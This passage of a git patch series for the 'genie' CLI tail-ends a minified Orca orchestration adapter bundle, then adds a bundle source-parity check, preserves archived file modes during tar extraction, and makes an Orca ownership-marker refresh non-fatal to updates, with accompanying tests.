not one JSON document")}let s=fn.safeParse(n);if(!s.success)throw r?ee(t,"decode","stdout did not match the Orca envelope contract"):new w("unexpected_response",t,"decode","safe","Use a compatible Orca CLI version.","stdout did not match the Orca envelope contract");if(s.data.ok&&!ln[t].safeParse(s.data.result).success)throw r?ee(t,"receipt",`success result did not match the finite ${t} response contract`):new w("unexpected_response",t,"decode","safe","Use a compatible Orca CLI version and inspect the public operation result.",`success result did not match the finite ${t} response contract`);return s.data}function It(t){let e=[],r=!1,n=0;for(;n<t.length;){let s=t[n];if(s==='"'){let a=n;for(n+=1;n<t.length;)if(t[n]==="\\")n+=2;else{if(t[n]==='"')break;n+=1}if(n>=t.length)throw new Error("unterminated JSON string");if(r){let i=JSON.parse(t.slice(a,n+1)),o=e.at(-1);if(o==null||o.has(i))throw new Error("duplicate JSON key");o.add(i),r=!1}}else s==="{"?(e.push(new Set),r=!0):s==="["?e.push(null):s==="}"||s==="]"?e.pop():s===","&&e.at(-1)instanceof Set&&(r=!0);n+=1}return JSON.parse(t)}var Ke=new Set(["run-create","run-use","task-create","task-update","worker-start","worker-release","send","reply","ask","gate-create","gate-resolve"]);function Qe(t,e){return t==="check"&&typeof e=="object"&&e!==null&&"ack"in e}function Ye(t){return t}function ye(t,e){let r=t[e];return typeof r=="object"&&r!==null?r.id:void 0}function hn(t,e){let r=e;if(t==="run-create"||t==="run-use"){let s=r.runId??ye(r,"run");return Object.freeze(typeof s=="string"?{runId:s}:{})}if(t==="task-create"||t==="task-update"){let s=r.taskId??ye(r,"task");return Object.freeze(typeof s=="string"?{taskId:s}:{})}return Object.freeze(Object.fromEntries(({"run-create":["runId"],"run-use":["runId"],"task-create":["taskId"],"task-update":["taskId"],"worker-start":["dispatchId","taskId"],"worker-release":["dispatchId"],send:["messageId"],reply:["messageId"],ask:["messageId"],check:["deliveryId"],"gate-create":["gateId","taskId"],"gate-resolve":["gateId","taskId"]}[t]??[]).flatMap(s=>typeof r[s]=="string"?[[s,r[s]]]:[])))}function gn(t,e){if(t.operation==="run-use"){let r=e,n=r.runId??ye(r,"run");return{operation:{operation:"run-current"},matches:s=>{let a=s,i=a.run;return n===t.id&&i.id===t.id}}}if(t.operation==="gate-resolve"){let r=e;return{operation:{operation:"gate-list",task:t.task},matches:n=>{if(r.gateId!==t.id||r.taskId!==t.task)return!1;let s=n.gates;if(!Array.isArray(s))return!1;let a=s.map(Ye).filter(i=>i.id===t.id);return a.length===1&&a[0].taskId===t.task&&a[0].status==="resolved"&&a[0].resolution===t.resolution}}}if(t.operation==="worker-release"){let r=e;return{operation:{operation:"worker-show",dispatch:t.dispatch},matches:n=>{let s=n.dispatch;return r.dispatchId===t.dispatch&&s.id===t.dispatch&&["released","retained"].includes(String(s.terminalDisposition))}}}if(t.operation==="run-create"){let r=e,n=r.runId??ye(r,"run");return{operation:{operation:"run-show",id:String(n)},matches:s=>{let a=s.run;return a.id===n&&a.objective===t.objective}}}if(t.operation==="task-create"||t.operation==="task-update"){let r=e,n=r.taskId??ye(r,"task"),s=t.operation==="task-create"?n:t.id;return{operation:{operation:"task-list"},matches:a=>{if(n!==s)return!1;let i=a.tasks;if(!Array.isArray(i))return!1;let o=i.map(Ye).filter(d=>d.id===s);if(o.length!==1)return!1;let c=o[0];return t.operation==="task-create"&&"run_id"in c?c.spec===t.spec&&c.task_title===(t.title??t.spec)&&c.deps===JSON.stringify(t.deps??[])&&c.parent_id===(t.parent??null):t.operation==="task-create"?c.spec===t.spec&&c.title===t.title&&JSON.stringify(c.deps??[])===JSON.stringify(t.deps??[])&&c.parent===t.parent:c.status===t.status&&(JSON.stringify(c.result)===JSON.stringify(t.result)||c.result===JSON.stringify(t.result))}}}if(t.operation==="worker-start"){let r=e,n=r.dispatchId;return{operation:{operation:"worker-show",dispatch:String(n)},matches:s=>{let a=s.dispatch;return r.taskId===t.task&&a.id===n&&a.taskId===t.task&&a.agent===t.agent&&a.model===t.model&&a.effort===t.effort}}}if(t.operation==="gate-create"){let r=e,n=r.gateId;return{operation:{operation:"gate-list",task:t.task},matches:s=>{let a=s.gates;if(!Array.isArray(a)||r.taskId!==t.task)return!1;let i=a.map(Ye).filter(c=>c.id===n);if(i.length!==1)return!1;let o=i[0];return o?.taskId===t.task&&o.question===t.question&&JSON.stringify(o.options)===JSON.stringify(t.options)}}}}function yn(t,e,r){let n=Qe(t,e),s=Ke.has(t)||n;if(r.outputLimited||r.transportLost)return s?ee(t,"execute",r.outputLimited?"Orca output exceeded the adapter limit":"Orca transport closed before a valid response"):_t(t,r.outputLimited?"output_limit":"process_exit",r.outputLimited?"Orca output exceeded the adapter limit":"Orca transport closed before a valid response");if(r.timedOut)return s?ee(t,"execute","Orca did not finish before the deadline"):_t(t,"timeout","Orca did not finish before the deadline");if(r.exitCode!==0)return s?new w("ambiguous_after_possible_commit",t,"execute","unrecoverably-ambiguous","Do not retry automatically; inspect the documented public read operation before choosing another mutation.",`Orca exited with status ${r.exitCode??"signal"}`,r.stderr):new w("process_exit",t,"execute",s?"readback-required":"safe","Inspect Orca state and use the documented recovery operation.",`Orca exited with status ${r.exitCode??"signal"}`,r.stderr.slice(-4096))}function _t(t,e,r){return new w(e,t,"execute","safe","Retry the read-only operation when Orca is healthy.",r)}function Rt(t={}){let e=Object.freeze({...t.env??process.env}),r=Xr({platform:t.platform,managedTerminal:t.managedTerminal??e.TERM_PROGRAM==="Orca"}),n=t.executor??St,s=t.timeoutMs??en,a=t.now??(()=>new Date),i=async(c,d)=>{try{return await n({executable:r,argv:c,shell:!1,timeoutMs:s,maxStdoutBytes:tn,maxStderrBytes:rn,env:e})}catch(m){throw new w("executable_unavailable",d,"resolve","safe","Verify that the deterministic Orca executable is installed and available, then retry.",m instanceof Error&&"code"in m?`Orca execution failed (${String(m.code)})`:"Orca execution failed")}},o=async c=>{let d=ht(c),m=await i(d,c.operation);m={...m,stderr:bn(m.stderr,c,e)};let T=Ke.has(c.operation)||Qe(c.operation,c),C=yn(c.operation,c,m);if(C!==void 0)throw C;let N=mn(c.operation,m.stdout,T);if(!N.ok){let _e=tt(N.error?.message??"Orca returned an error envelope",c,e);throw T?ee(c.operation,"decode",_e):new w("unexpected_response",c.operation,"decode",T?"readback-required":"safe","Follow the public Orca diagnostic and inspect state before retrying.",_e)}return N};return Object.freeze({executable:r,async status(){let c=await i(["status","--json"],"runtime");if(c.outputLimited||c.transportLost||c.timedOut||c.exitCode!==0)throw new w(c.outputLimited?"output_limit":c.timedOut?"timeout":"process_exit","runtime","execute","safe","Restore the public Orca runtime and retry the compatibility probe.","Orca status did not complete successfully");let d;try{d=It(c.stdout)}catch{throw new w("malformed_json","runtime","decode","safe","Use a compatible Orca CLI version.","Orca status was not one JSON document")}let m=pn.safeParse(d);if(!m.success)throw new w("unexpected_response","runtime","decode","safe","Use a compatible Orca CLI version.","Orca status did not match the strict runtime compatibility contract");return m.data},async execute(c){let d=Tt.safeParse(c);if(!d.success)throw ht(c),new Error("unreachable");let m=d.data,T=a().toISOString(),C=await o(m);return!Ke.has(m.operation)&&!Qe(m.operation,m)?C:_n(m,C,T,o,a,e)}})}async function _n(t,e,r,n,s,a){xn(t,e);let i=gn(t,e.result);if(i!==void 0){let d;try{d=await n(i.operation)}catch(m){throw vn(t,i.operation.operation,m,a)}if(!i.matches(d.result))throw new w("readback_mismatch",t.operation,"readback","unsafe",`Inspect state with orchestration ${i.operation.operation}; do not retry the mutation automatically.`,`${i.operation.operation} disagreed with the mutation receipt`)}let o=e._meta,c=Object.freeze({verb:t.operation,ids:hn(t.operation,e.result),runtimeId:o.runtimeId,runtimeVersion:o.runtimeVersion??null,startedAt:r,completedAt:s().toISOString(),readbackVerb:i?.operation.operation??null});return Object.freeze({...e,receipt:c})}function vn(t,e,r,n){return r instanceof w?new w(r.code,t.operation,"readback","readback-required",`Repeat or inspect orchestration ${e}; do not retry the mutation automatically.`,tt(`${e} failed after Orca returned a valid mutation receipt: ${r.message}`,t,n),r.stderr):new w("unexpected_response",t.operation,"readback","unrecoverably-ambiguous",`Inspect state with orchestration ${e}; do not retry the mutation automatically.`,`${e} failed after Orca returned a valid mutation receipt`)}function xn(t,e){if(e._meta?.runtimeId===void 0)throw ee(t.operation,"receipt","mutation receipt omitted bounded runtime identity metadata");if(!kn(t,e.result))throw new w("readback_mismatch",t.operation,"receipt","unsafe","Inspect the requested entity with its documented public read operation; do not retry automatically.","mutation receipt identity disagreed with the requested entity");if(t.operation==="check"&&t.ack!==void 0&&e.result.acknowledged!==!0)throw ee(t.operation,"receipt","check --ack success did not contain its matching delivery identifier");if(t.operation==="run-use"&&"coordinatorTerminalHandle"in e.result&&e.result.coordinatorTerminalHandle!==e._meta.invokingTerminal)throw new w("readback_mismatch",t.operation,"readback","unsafe","Inspect orchestration run-current; do not retry run-use automatically.","run-use terminal binding was not runtime-attested")}function kn(t,e){let r=e;switch(t.operation){case"run-use":return(r.runId??ye(r,"run"))===t.id;case"task-update":return(r.taskId??ye(r,"task"))===t.id;case"worker-start":return r.taskId===t.task;case"worker-release":return r.dispatchId===t.dispatch;case"reply":return r.messageId===t.id;case"ask":return t.resume===void 0||r.messageId===t.resume;case"check":return t.ack===void 0||r.deliveryId===t.ack;case"gate-create":return r.taskId===t.task;case"gate-resolve":return r.gateId===t.id&&r.taskId===t.task;default:return!0}}function bn(t,e,r){return tt(t,e,r)}function tt(t,e,r){let n=[...t].filter(c=>{let d=c.charCodeAt(0);return d===9||d===10||d===13||d>=32&&d!==127&&d<128||d>159}).join(""),s=Xe(e),a=Object.entries(r).filter(([c,d])=>d!==void 0&&/(?:TOKEN|SECRET|PASSWORD|PASS|KEY|CREDENTIAL|AUTH|COOKIE)/i.test(c)).map(([,c])=>c),i=Object.values(r).flatMap(c=>c===void 0?[]:wn(c));for(let c of[...s,...a,...i].filter(d=>d.length>=3).sort((d,m)=>m.length-d.length))n=n.split(c).join("[REDACTED]");let o=Buffer.from(n,"utf8");return o.length<=4096?n:Buffer.concat([Buffer.from("[truncated] "),o.subarray(o.length-4084)]).toString("utf8")}function wn(t){try{let e=new URL(t);if(e.password.length===0)return[];try{return[e.password,decodeURIComponent(e.password)]}catch{return[e.password]}}catch{return[]}}function Xe(t){return typeof t=="string"?[t]:Array.isArray(t)?t.flatMap(Xe):typeof t=="object"&&t!==null?Object.values(t).flatMap(Xe):[]}function Be(){return Rt()}var ns=Object.freeze({createAdapter:Rt,spawnOrcaProcess:St});var On="1.4.192",At="orchestration.contract.v1";function Ct(t){return new w("unsupported_environment","runtime","resolve","safe","Run this plugin in a supported Orca host with the public orchestration contract and child-process access.",t)}function Et(t){let e=/^(\d+)\.(\d+)\.(\d+)(?:[-+].*)?$/.exec(t);if(e!==null)return e.slice(1).map(Number)}function Tn(t,e){let r=Et(t),n=Et(e);if(r===void 0||n===void 0)return!1;for(let s=0;s<3;s+=1)if(r[s]!==n[s])return r[s]>n[s];return!0}async function jt(t){try{let e=await t.status(),r=e.result.runtime.runtimeId,n=e.result.runtime.appVersion;if(!Tn(n,On)||!e.result.runtime.capabilities.includes(At))throw Ct("Orca runtime version or orchestration contract is outside the supported range.");return Object.freeze({runtimeId:r,runtimeVersion:n,contract:At})}catch(e){throw e instanceof w&&e.code==="unsupported_environment"?e:Ct("The Orca compatibility probe could not complete through the public adapter.")}}function Nt(t=Be()){return Object.freeze({probe:()=>jt(t),async execute(e){return await jt(t),t.execute(e)}})}var Sn="genie.orca.run-list";function In(t=Be()){let e=Nt(t);return async r=>{r.commands.register(Sn,()=>e.execute({operation:"run-list",limit:100}))}}var ds=In();export{Sn as ORCA_RUN_LIST_COMMAND,In as createOrcaPluginEntrypoint,ds as default}; diff --git a/scripts/build-binary.sh b/scripts/build-binary.sh index b4600759c..334f5136d 100755 --- a/scripts/build-binary.sh +++ b/scripts/build-binary.sh @@ -57,6 +57,7 @@ TARGET="$(bun_target_for "$PLATFORM")" || { echo "error: unsupported platform: $ bun "${REPO_ROOT}/scripts/sync-plugin-skills.ts" --check bun "${REPO_ROOT}/scripts/fresh-install-smoke.ts" bun "${REPO_ROOT}/scripts/hook-bundle-parity.ts" --check +bun "${REPO_ROOT}/scripts/orca-bundle-parity.ts" --check bun "${REPO_ROOT}/scripts/hook-content-binding.ts" --check bun "${REPO_ROOT}/scripts/plugin-executables-check.ts" bun "${REPO_ROOT}/scripts/release-payload-version.ts" --verify-source "${REPO_ROOT}" diff --git a/scripts/orca-bundle-parity.test.ts b/scripts/orca-bundle-parity.test.ts new file mode 100644 index 000000000..704b17315 --- /dev/null +++ b/scripts/orca-bundle-parity.test.ts @@ -0,0 +1,43 @@ +import { describe, expect, test } from 'bun:test'; +import { mkdtempSync, rmSync, writeFileSync } from 'node:fs'; +import { tmpdir } from 'node:os'; +import { join, resolve } from 'node:path'; +import { pathToFileURL } from 'node:url'; +import { ORCA_BUNDLE, assertOrcaBundleParity, renderOrcaBundle } from './orca-bundle-parity.ts'; + +describe('committed native Orca bundle parity', () => { + test('the shipped bundle is byte-deterministic from its TypeScript source', async () => { + await expect(assertOrcaBundleParity()).resolves.toBeUndefined(); + }); + + test('content drift fails closed and names the regeneration command', async () => { + const root = mkdtempSync(join(tmpdir(), 'genie-orca-parity-')); + try { + const bundle = join(root, 'orca-entrypoint.min.js'); + writeFileSync(bundle, `${await renderOrcaBundle(ORCA_BUNDLE.source)}\n// drift\n`); + await expect(assertOrcaBundleParity({ ...ORCA_BUNDLE, bundle })).rejects.toThrow(/Orca bundle drift.*--write/); + } finally { + rmSync(root, { recursive: true, force: true }); + } + }); + + test('the committed bundle loads as an ESM module and registers the run-list command', async () => { + const module = (await import(pathToFileURL(resolve(ORCA_BUNDLE.bundle)).href)) as { + default: (context: { commands: { register(id: string, handler: unknown): void } }) => Promise<void>; + ORCA_RUN_LIST_COMMAND: string; + }; + expect(typeof module.default).toBe('function'); + expect(module.ORCA_RUN_LIST_COMMAND).toBe('genie.orca.run-list'); + + const registered: string[] = []; + await module.default({ commands: { register: (id) => registered.push(id) } }); + expect(registered).toEqual(['genie.orca.run-list']); + }); + + test('the Orca manifest points at the gated bundle', async () => { + const manifest = (await Bun.file(resolve(ORCA_BUNDLE.bundle, '..', 'orca-plugin.json')).json()) as { + main: string; + }; + expect(manifest.main).toBe('orca-entrypoint.min.js'); + }); +}); diff --git a/scripts/orca-bundle-parity.ts b/scripts/orca-bundle-parity.ts new file mode 100644 index 000000000..157ded733 --- /dev/null +++ b/scripts/orca-bundle-parity.ts @@ -0,0 +1,82 @@ +#!/usr/bin/env bun + +/** + * Source-parity gate for the shipped native Orca plugin bundle. + * + * `plugins/genie/orca-entrypoint.min.js` is the file the Orca host executes + * (`plugins/genie/orca-plugin.json` → `main`). It ships inside every signed + * tarball, yet it sits outside tsc, biome, knip and the hook-bundle gate, so a + * commit that edits only the blob would pass `bun run check`, get attested, + * and reach every operator. Provenance proves origin, not correspondence to + * reviewed source. This script binds the committed bundle byte-for-byte to + * `plugins/genie/orca-entrypoint.ts`, exactly like `hook-bundle-parity.ts` + * does for the generated hook executables. + * + * esbuild (a pinned devDependency) renders the bundle so the bytes do not + * depend on the Bun version of whoever last ran `--write`. + */ + +import { readFileSync, writeFileSync } from 'node:fs'; +import { join } from 'node:path'; +import { fileURLToPath } from 'node:url'; +import { build } from 'esbuild'; + +const ROOT = fileURLToPath(new URL('..', import.meta.url)).replace(/\/$/, ''); + +export interface OrcaBundleTarget { + name: string; + source: string; + bundle: string; +} + +export const ORCA_BUNDLE: OrcaBundleTarget = { + name: 'orca-entrypoint', + source: join(ROOT, 'plugins', 'genie', 'orca-entrypoint.ts'), + bundle: join(ROOT, 'plugins', 'genie', 'orca-entrypoint.min.js'), +}; + +export async function renderOrcaBundle(source: string): Promise<string> { + const result = await build({ + entryPoints: [source], + bundle: true, + platform: 'node', + target: 'node18', + format: 'esm', + minify: true, + logLevel: 'silent', + write: false, + external: ['bun', 'bun:*'], + define: { + __GENIE_VERSION__: '"parity-check"', + }, + }); + const output = result.outputFiles[0]; + if (!output) throw new Error(`esbuild produced no Orca bundle for ${source}`); + return output.text; +} + +export async function assertOrcaBundleParity(target: OrcaBundleTarget = ORCA_BUNDLE): Promise<void> { + const expected = await renderOrcaBundle(target.source); + const actual = readFileSync(target.bundle, 'utf8'); + if (actual !== expected) { + throw new Error( + `Orca bundle drift: plugins/genie/${target.name}.min.js does not match its TypeScript source; run \`bun scripts/orca-bundle-parity.ts --write\``, + ); + } +} + +async function main(): Promise<void> { + const args = process.argv.slice(2); + if (args.length > 1 || (args[0] !== undefined && args[0] !== '--check' && args[0] !== '--write')) { + throw new Error('usage: bun scripts/orca-bundle-parity.ts [--check|--write]'); + } + if (args[0] === '--write') { + writeFileSync(ORCA_BUNDLE.bundle, await renderOrcaBundle(ORCA_BUNDLE.source)); + console.log(`orca-bundle-parity: wrote ${ORCA_BUNDLE.name}.min.js`); + return; + } + await assertOrcaBundleParity(); + console.log('orca-bundle-parity: OK'); +} + +if (import.meta.main) await main(); diff --git a/scripts/release-docs.test.ts b/scripts/release-docs.test.ts index e2ab39062..063f6ba47 100644 --- a/scripts/release-docs.test.ts +++ b/scripts/release-docs.test.ts @@ -502,6 +502,7 @@ describe('Group E release and documentation contracts', () => { "'scripts/build.js'", "'scripts/json-top-level-string.js'", "'scripts/hook-bundle-parity.ts'", + "'scripts/orca-bundle-parity.ts'", "'scripts/hook-content-binding.ts'", "'scripts/plugin-executables-check.ts'", "'scripts/sync-plugin-skills.ts'", @@ -688,6 +689,7 @@ describe('Group E release and documentation contracts', () => { test('release packaging validates generated hooks and the extracted archive payload', () => { const build = read('scripts/build-binary.sh'); expect(build).toContain('scripts/hook-bundle-parity.ts'); + expect(build).toContain('scripts/orca-bundle-parity.ts'); expect(build).toContain('scripts/hook-content-binding.ts'); const archive = build.indexOf('tar czf "${TARBALL}"'); const extract = build.indexOf('tar -xzf "${TARBALL}"'); @@ -725,6 +727,9 @@ describe('Group E release and documentation contracts', () => { expect(workflow).toContain('bun run lint:complexity-budget'); expect(workflow).toContain('bun run lint:council-workflow'); expect(workflow).toContain('bun run lint:hook-bundles'); + expect(workflow).toContain('bun run lint:orca-bundle'); + expect(pkg.scripts.check).toContain('bun run lint:orca-bundle'); + expect(pkg.scripts['check:fast']).toContain('bun run lint:orca-bundle'); expect(workflow).toContain('bun run lint:hook-content'); expect(workflow).toContain('bun run lint:plugin-executables'); expect(pkg.scripts.check).toContain('bun run lint:hook-content'); From 15c0026f94e44fbb2a7db3f17bd8a4269b8a4f7b Mon Sep 17 00:00:00 2001 From: Felipe Rosa <felipe@namastex.ai> Date: Sat, 29 Aug 2026 22:06:17 -0300 Subject: [PATCH 25/45] fix(update): preserve archived modes on extraction so admission survives umask 077 (#2824) genie update / install.sh extracted the signed tarball with a bare 'tar -xzf'. As non-root, tar applies the caller umask to every member, so under umask 077 the archived 0755 'genie' landed as 0700 and every skill, plugin file and script lost its group/other bits too. #2821 made admission tolerate the binary case by normalizing the external binary to 0755 before digesting. This closes the root cause one layer up: extract with 'tar -xzpf' in both extractors so the signed archive's recorded modes are reproduced for the whole payload regardless of the caller's umask. - regression test: extraction keeps 0755/0644 under umask 077 - install.sh extract_and_link body must carry -p (static assertion) Claude-Session: https://claude.ai/code/session_018QrkgYMEEhrWTUo5E7Nkjg Co-authored-by: Claude Fable 5 <noreply@anthropic.com> --- install.sh | 5 ++- scripts/install-swap.test.ts | 2 ++ src/genie-commands/__tests__/update.test.ts | 34 ++++++++++++++++++++- src/genie-commands/update.ts | 14 +++++++-- 4 files changed, 50 insertions(+), 5 deletions(-) diff --git a/install.sh b/install.sh index 9ccbc0686..4b685b724 100755 --- a/install.sh +++ b/install.sh @@ -644,7 +644,10 @@ extract_and_link() { die "install staging path is not a physical directory: $STAGING_DIR" 1 validate_private_temp_root "$STAGING_DIR" log "extracting verified release in private temporary staging" - tar -xzf "$tarball" -C "$STAGING_DIR" || + # -p: as non-root, tar applies the caller umask to extracted members; under + # umask 077 the archived 0755 binary would land as 0700 and the promoter's + # mode-covering content digest would reject the admitted copy. + tar -xzpf "$tarball" -C "$STAGING_DIR" || die "extraction failed (corrupt tarball?): ${tarball}" 5 # tar restores the archived root "./" entry's recorded mode (0755 on every # published tarball) onto the extraction directory, clobbering the 0700 we diff --git a/scripts/install-swap.test.ts b/scripts/install-swap.test.ts index 8daa5c4e1..8ee4c42c3 100644 --- a/scripts/install-swap.test.ts +++ b/scripts/install-swap.test.ts @@ -308,6 +308,8 @@ describe('install.sh transactional binary promotion (F31a)', () => { const body = source.slice(source.indexOf('extract_and_link() {'), source.indexOf('\n}\n\n# Detect pre-cutover')); expect(body).toContain('"$STAGING_DIR/genie" __install-promote'); + // Extraction must reproduce archived modes under any caller umask (-p). + expect(body).toContain('tar -xzpf "$tarball" -C "$STAGING_DIR"'); expect(body).toContain('GENIE_LIFECYCLE_LEASE_PATH="$LIFECYCLE_LOCK"'); expect(body).toContain('GENIE_LIFECYCLE_LEASE_OWNER="$LIFECYCLE_OWNER_RECORD"'); expect(body).not.toMatch(/\b(?:rm|mv|cp)\b/); diff --git a/src/genie-commands/__tests__/update.test.ts b/src/genie-commands/__tests__/update.test.ts index 9128f2d11..e258eb440 100644 --- a/src/genie-commands/__tests__/update.test.ts +++ b/src/genie-commands/__tests__/update.test.ts @@ -1826,11 +1826,43 @@ describe('extractTarball (G5 — corrupt artifact)', () => { try { const tarball = join(tmp, 'genie-5.260714.1-linux-x64-glibc.tar.gz'); writeFileSync(tarball, 'this is not a gzip archive'); - await expect(extractTarball(tarball, join(tmp, 'extract'))).rejects.toThrow(/tar -xzf/); + await expect(extractTarball(tarball, join(tmp, 'extract'))).rejects.toThrow(/tar -xzpf/); } finally { rmSync(tmp, { recursive: true, force: true }); } }); + + // Regression (2026-08-30): under `umask 077` a bare `tar -xzf` extracted the + // archived 0755 binary as 0700; admission fchmods only its private copy back + // to 0755, so the mode-covering content digests diverged and every + // `genie update` failed with "admitted install payload content does not match + // the authenticated source". Extraction must reproduce archived modes. + test('preserves archived member modes regardless of the caller umask', async () => { + const tmp = mkdtempSync(join(tmpdir(), 'genie-extract-umask-')); + const priorUmask = process.umask(0o077); + try { + const stage = join(tmp, 'stage'); + mkdirSync(join(stage, 'plugins'), { recursive: true }); + writeFileSync(join(stage, 'genie'), '#!/bin/sh\nexit 0\n'); + chmodSync(join(stage, 'genie'), 0o755); + writeFileSync(join(stage, 'plugins', 'note.md'), 'payload\n'); + chmodSync(join(stage, 'plugins', 'note.md'), 0o644); + chmodSync(join(stage, 'plugins'), 0o755); + const tarball = join(tmp, 'genie-5.260830.1-linux-x64-glibc.tar.gz'); + const packed = spawnSync('tar', ['-czf', tarball, '-C', stage, 'genie', 'plugins'], { stdio: 'ignore' }); + expect(packed.status).toBe(0); + + const extract = join(tmp, 'extract'); + await extractTarball(tarball, extract); + + expect(statSync(join(extract, 'genie')).mode & 0o777).toBe(0o755); + expect(statSync(join(extract, 'plugins')).mode & 0o777).toBe(0o755); + expect(statSync(join(extract, 'plugins', 'note.md')).mode & 0o777).toBe(0o644); + } finally { + process.umask(priorUmask); + rmSync(tmp, { recursive: true, force: true }); + } + }); }); // ============================================================================ diff --git a/src/genie-commands/update.ts b/src/genie-commands/update.ts index 7b425577c..b3fae48d6 100644 --- a/src/genie-commands/update.ts +++ b/src/genie-commands/update.ts @@ -741,13 +741,21 @@ export async function downloadAndVerifyDeliveryAssets( /** * Extract a tarball into a destination directory. Uses the system `tar` since - * macOS bsdtar and GNU tar both accept `-xzf`. Throws on failure. + * macOS bsdtar and GNU tar both accept `-xzpf`. Throws on failure. + * + * `-p` (--preserve-permissions) is load-bearing: as non-root, both tars apply + * the process umask to every extracted member by default, so under `umask 077` + * the archived 0755 `genie` lands as 0700. Admission then fchmods only its + * private copy back to 0755 and the content digests (which cover mode bits) + * diverge — observed 2026-08-30 as "admitted install payload content does not + * match the authenticated source". The signed archive's recorded modes are the + * contract; extraction must reproduce them regardless of the caller's umask. */ export async function extractTarball(tarballPath: string, destDir: string): Promise<void> { mkdirSync(destDir, { recursive: true }); - const result = await runCommandSilent('tar', ['-xzf', tarballPath, '-C', destDir], undefined, 30_000); + const result = await runCommandSilent('tar', ['-xzpf', tarballPath, '-C', destDir], undefined, 30_000); if (!result.success) { - throw new Error(`tar -xzf ${tarballPath} failed: ${result.output.trim() || 'no output'}`); + throw new Error(`tar -xzpf ${tarballPath} failed: ${result.output.trim() || 'no output'}`); } } From fd27edadf208c357ce10780961e95b8a5c7a1975 Mon Sep 17 00:00:00 2001 From: Felipe Rosa <felipe@namastex.ai> Date: Sat, 29 Aug 2026 22:07:49 -0300 Subject: [PATCH 26/45] fix(update): never abort delivery on the Orca ownership-marker refresh (#2827) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit refreshOwnedOrcaPluginMetadata() spawns the live Orca CLI (public A3 compatibility probe, bounded at 30 s) and refuses on an unsafe marker. It sat unguarded between the payload swap and publishCodexDeliveryFacts, so an Orca-mode operator updating with Orca closed, below the supported range, or with a corrupted marker was left with a swapped binary and no delivery record — the state the delivery contract exists to prevent — after a 30 s stall. Move the refresh after the delivery record is published and make it advisory: a failure is reported with a pointer to genie doctor (which already owns the degraded owned-modified case) and the update completes. The lifecycle function keeps its throwing contract; the marker stays untouched on failure. Found by the supply-chain and architecture lenses in the review of #2817. Claude-Session: https://claude.ai/code/session_018QrkgYMEEhrWTUo5E7Nkjg Co-authored-by: Claude Fable 5 <noreply@anthropic.com> --- src/genie-commands/__tests__/update.test.ts | 35 +++++++++++++++++++++ src/genie-commands/update.ts | 33 ++++++++++++++++--- 2 files changed, 64 insertions(+), 4 deletions(-) diff --git a/src/genie-commands/__tests__/update.test.ts b/src/genie-commands/__tests__/update.test.ts index e258eb440..2bc8159f2 100644 --- a/src/genie-commands/__tests__/update.test.ts +++ b/src/genie-commands/__tests__/update.test.ts @@ -86,6 +86,7 @@ import { narrowUpdatePluginRefreshSelection, normalizeVersion, persistChannel, + refreshOrcaOwnershipAfterDelivery, resolveChannel, resolveLiveBinaryPath, resolvePlatformId, @@ -1814,6 +1815,40 @@ describe('downloadAndVerifyTarball (G5)', () => { }); }); +// ============================================================================ +// A4 — the Orca ownership-marker refresh is advisory to delivery. It spawns +// the live Orca CLI, so it can fail for reasons unrelated to the delivered +// bytes (Orca closed, unsupported range, corrupted marker). It must never +// abort an update whose delivery record is already published. +// ============================================================================ + +describe('refreshOrcaOwnershipAfterDelivery (A4 advisory marker refresh)', () => { + test('a failing probe is reported and does not reject', async () => { + const lines: string[] = []; + await expect( + refreshOrcaOwnershipAfterDelivery( + async () => { + throw new Error('Orca runtime probe timed out after 30000ms'); + }, + (line) => lines.push(line), + ), + ).resolves.toBeUndefined(); + expect(lines).toHaveLength(2); + expect(lines[0]).toContain('ownership marker was not refreshed'); + expect(lines[0]).toContain('probe timed out'); + expect(lines[1]).toContain('genie doctor'); + }); + + test('a successful refresh is silent', async () => { + const lines: string[] = []; + await refreshOrcaOwnershipAfterDelivery( + async () => 'refreshed', + (line) => lines.push(line), + ); + expect(lines).toEqual([]); + }); +}); + // ============================================================================ // G5 — Corrupt artifact (F31a destructive-failure fixture). A tarball that is // not a valid gzip archive must make `extractTarball` throw so the update never diff --git a/src/genie-commands/update.ts b/src/genie-commands/update.ts index b3fae48d6..7fb224018 100644 --- a/src/genie-commands/update.ts +++ b/src/genie-commands/update.ts @@ -2850,6 +2850,31 @@ export function runManualUpdateConvergence(options: ManualUpdateConvergenceOptio return { integrations }; } +/** + * A4 ownership-marker refresh is advisory to delivery, never a delivery + * invariant. It spawns the live Orca CLI (public A3 compatibility probe, + * bounded at 30 s) and refuses on an unsafe marker, so it can fail for reasons + * unrelated to the bytes just delivered: Orca closed, below the supported + * range, or a corrupted marker. Before this the call sat unguarded between + * the payload swap and `publishCodexDeliveryFacts`, so an Orca-mode operator + * updating with Orca closed was left with a swapped binary and no delivery + * record — the exact state the delivery contract exists to prevent. The + * lifecycle function keeps its throwing contract (marker untouched on + * failure); the updater reports and moves on, and `genie doctor` owns the + * degraded case (`owned-modified` with a recovery line). + */ +export async function refreshOrcaOwnershipAfterDelivery( + refresh: () => Promise<unknown> = refreshOwnedOrcaPluginMetadata, + report: (message: string) => void = log, +): Promise<void> { + try { + await refresh(); + } catch (cause) { + report(`⚠ Orca plugin ownership marker was not refreshed: ${errMsg(cause)}`); + report(' Delivery is complete. Run `genie doctor` to re-check the Orca plugin lifecycle.'); + } +} + function errMsg(err: unknown): string { return err instanceof Error ? err.message : String(err); } @@ -3186,10 +3211,6 @@ async function runDelivery( cleanupStagingArtifacts(externalRoot, tarballPath); }, }); - // A4: refresh only an existing Genie ownership claim. The public A3 - // compatibility probe must succeed before the marker advances; config and - // both authorities' lifecycle history remain untouched. - await refreshOwnedOrcaPluginMetadata(); // The payload is now in GENIE_HOME; publish attested delivery facts (and the // rollback sidecar for a protocol-capable backup) under the held lease. const deliveryRoot = resolveCanonicalPayloadRoot(); @@ -3212,6 +3233,10 @@ async function runDelivery( throw new CodexDeliveryPublicationError(`delivery record publication failed: ${errMsg(cause)}`); } if (publication.kind === 'incomplete') throw new CodexDeliveryPublicationError(publication.detail); + // A4: refresh only an existing Genie ownership claim. Runs after the + // delivery record is published and never fails the update — see + // refreshOrcaOwnershipAfterDelivery. + await refreshOrcaOwnershipAfterDelivery(); return auxiliaryOutcomes; } finally { // The command boundary owns both lifecycle leases. This scope only closes From 2d6936c2d4ce94593739a1c5c368086213a01967 Mon Sep 17 00:00:00 2001 From: Felipe Rosa <felipe@namastex.ai> Date: Sat, 29 Aug 2026 22:07:52 -0300 Subject: [PATCH 27/45] docs(wish): record the #2817 FIX-FIRST review and fix disposition 